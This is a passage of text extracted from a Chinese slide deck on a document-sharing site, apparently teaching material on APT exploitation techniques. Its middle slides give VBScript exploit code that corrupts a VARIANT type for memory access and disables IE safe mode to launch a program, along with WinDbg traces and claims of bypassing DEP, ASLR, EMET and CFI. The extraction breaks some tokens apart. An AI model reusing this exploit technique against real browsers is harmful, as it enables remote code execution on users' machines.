APT高級漏洞利用技術(shù)PPT教學(xué)課件_第1頁
APT高級漏洞利用技術(shù)PPT教學(xué)課件_第2頁
APT高級漏洞利用技術(shù)PPT教學(xué)課件_第3頁
APT高級漏洞利用技術(shù)PPT教學(xué)課件_第4頁
APT高級漏洞利用技術(shù)PPT教學(xué)課件_第5頁
已閱讀5頁,還剩23頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、要點(diǎn) 漏洞挖掘技術(shù) 漏洞利用技術(shù) APT對抗時(shí)代 高級APT對抗技術(shù) 防護(hù)技術(shù)第1頁/共28頁漏洞挖掘技術(shù) 人工分析 程序自動化技術(shù) Fuzzing技術(shù) 污點(diǎn)分析等 補(bǔ)丁比對技術(shù) 靜態(tài)分析技術(shù) 動態(tài)分析技術(shù)第2頁/共28頁漏洞利用技術(shù) 設(shè)計(jì)原則完美、和諧的標(biāo)準(zhǔn): 滿足各種網(wǎng)絡(luò)需求 只要求目標(biāo)存在漏洞 穩(wěn)定、可重復(fù),不影響目標(biāo)系統(tǒng) 可擴(kuò)展、可對抗 簡單、通用、傻瓜化第3頁/共28頁對抗防火墻 數(shù)據(jù)通道技術(shù) client proxy firewall server ecb ecb-ReadClient ecb-WriteClient 查找socket getpeername查找socket 字串匹

2、配查找socket第4頁/共28頁對抗防火墻 有線程recv的處理技術(shù) wins: 1、shellcode hook closesocket 2、exploit發(fā)送錯誤數(shù)據(jù),server關(guān)閉socket,shellcode攔截 rpc的端口復(fù)用技術(shù) 1、shellcode hook 服務(wù)的rpcnum入口 2、exploit 調(diào)用 NdrSendReceive第5頁/共28頁溢出程序通用性技術(shù) 連續(xù)覆蓋 同時(shí)使用ret、seh 自動版本識別 通用跳轉(zhuǎn)地址 代碼頁地址 通用指針 PEB-RtlEnterCriticalSection PEB-RtlLeaveCriticalSection第6頁/

3、共28頁shellcode 高級技術(shù) 解碼+shellcode框架 Shellcode通用性 GetProcAddress+ LoadLibraryA c語言編寫shellcode 編寫具有shell功能的shellcode hook技術(shù) 內(nèi)存后門技術(shù) 通信加密第7頁/共28頁APT對抗時(shí)代 對抗DEP+ASLR+EMET+CFI 如何對抗ANTI APT設(shè)備 1、無關(guān)鍵代碼緩存 2、無事后關(guān)鍵代碼追蹤線索 3、旁路無法分析關(guān)鍵代碼第8頁/共28頁APT 高級漏洞利用技術(shù)DVE數(shù)據(jù)虛擬執(zhí)行技術(shù) 原理,97年兩篇文章 注意利用解釋型語言與CPU代碼相結(jié)合的新型病毒 文本病毒(病毒新理論)! 解釋

4、執(zhí)行也是執(zhí)行 利用漏洞增強(qiáng)指令集 構(gòu)造指針突破解釋執(zhí)行虛擬機(jī) 遠(yuǎn)程代碼執(zhí)行轉(zhuǎn)換成本地提權(quán)突破第9頁/共28頁突破點(diǎn) 關(guān)鍵通用的數(shù)據(jù)結(jié)構(gòu) Variant變量 COM、VB、JS等大量使用 VB唯一數(shù)據(jù)類型 JS9內(nèi)部仍然保留使用第10頁/共28頁tagVARIANT的定義 struct _tagVARIANT VARTYPE vt; WORD wReserved1; WORD wReserved2; WORD wReserved3; union LONGLONG llVal; LONG lVal; BYTE bVal; SHORT iVal; SAFEARRAY *parray; typedef

5、 unsigned short VARTYPE;第11頁/共28頁VARTYPE列舉enum VARENUM VT_EMPTY = 0, VT_NULL = 1, VT_I2 = 2, VT_I4 = 3, VT_R4 = 4, VT_R8 = 5, VT_BSTR = 8, VT_VARIANT = 12, VT_VECTOR = 0 x1000, VT_ARRAY = 0 x2000, VT_BYREF = 0 x4000, ;第12頁/共28頁tagSAFEARRAY的定義typedef struct tagSAFEARRAY USHORT cDims; USHORT fFeatures

6、; ULONG cbElements; ULONG cLocks; PVOID pvData; SAFEARRAYBOUND rgsabound 1 ; SAFEARRAY;const USHORT FADF_HAVEVARTYPE= 0 x0080; /* array has a VT type */const USHORT FADF_VARIANT = 0 x0800; /* an array of VARIANTs */typedef struct tagSAFEARRAYBOUND ULONG cElements; LONG lLbound; SAFEARRAYBOUND;第13頁/共

7、28頁具體利用實(shí)現(xiàn)細(xì)節(jié) 通過漏洞修改VARTYPE vt 修改vt得到需要的數(shù)組,cc+指針 通過數(shù)組修改關(guān)鍵數(shù)據(jù) 通過修改保護(hù)模式實(shí)現(xiàn)控件加載 通過控件實(shí)現(xiàn)完全控制 腳本就是shellcode第14頁/共28頁跟蹤演示代碼 myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(32767)&chrw(00)&chrw(0) document.write(vartype(myarray) document.write(vartype(myarray(&h7

8、ffe0030)第15頁/共28頁跟蹤過程 0:008:x86 bp vbscript!vbsvartype Breakpoint 0 hit VBSCRIPT!VbsVarType: 0ffb31f8 8bff mov edi,edi 0:008:x86 d poi(esp+c) l 10 00e8fa98 0c 40 4f 0b 00 00 c0 42-78 5a 4f 0b 10 00 00 00 0:008:x86 d poi(poi(esp+c)+8) l 10 0b4f5a78 08 00 00 00 00 00 00 00-04 fb f9 05 00 00 00 00 0:00

9、8:x86 d 5f9fb04 l 18 05f9fb04 01 00 80 08 01 00 00 00-00 00 00 00 00 00 00 00 05f9fb14 00 00 ff 7f 00 00 00 00第16頁/共28頁跟蹤過程 0:008:x86 e b4f5a78 0c 20 修改字符串變量為數(shù)組 0:008:x86 g Breakpoint 0 hit VBSCRIPT!VbsVarType: 0ffb31f8 8bff mov edi,edi 0:008:x86 d poi(esp+c) l 10 00e8fa98 0c 40 50 0b dc 44 5e 06-30

10、 00 fe 7f cc 46 5e 06 0:008:x86 d 7ffe0030 l 20 7ffe0030 43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00 C.:.W.i.n.d.o. 7ffe0040 77 00 73 00 00 00 00 00-00 00 00 00 00 00 00 00 w.s.第17頁/共28頁執(zhí)行結(jié)果 8204 =0 x200c 67 =0 x0043 第18頁/共28頁實(shí)現(xiàn)代碼 獲得對象地址sub testaa()end subfunction mydata() On Error Resume Next i

11、=testaa i=null ab(0)=0 aa(a1)=i ab(0)=3 mydata=aa(a1) end function 第19頁/共28頁實(shí)現(xiàn)代碼 修改保護(hù)模式 function setnotsafemode() On Error Resume Next i=mydata() i=readmem(i+8) i=readmem(i+16) j=readmem(i+&h134) for k=0 to &h60 step 4 j=readmem(i+&h120+k) if( j=14) then writemem(i+&h120+k) Exit for end if next end

12、function第20頁/共28頁實(shí)現(xiàn)代碼 彈計(jì)算器 function runcalc() On Error Resume Next set sh=createobject(Shell.Application) sh.ShellExecute calc.exe end function第21頁/共28頁代碼效果 09年完成 Bypass DEP+ASLR+EMET+CFI 無修改過新出漏洞利用緩解措施 無修改新出IE上通用 無修改新出WINDOWS系統(tǒng)上通用 通殺WIN95-WIN8.1+IE3-IE11 原理可以用于其它操作系統(tǒng)、其它芯片平臺第22頁/共28頁代碼效果第23頁/共28頁代碼效果第24頁/共28頁防護(hù)技術(shù) 漏洞利用緩解技術(shù) DEP+ASLR+EMET+CFI 沙箱 1、IE保護(hù)模式 降低權(quán)限,文件、網(wǎng)絡(luò)、系統(tǒng)調(diào)用能使用。 2、CH

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論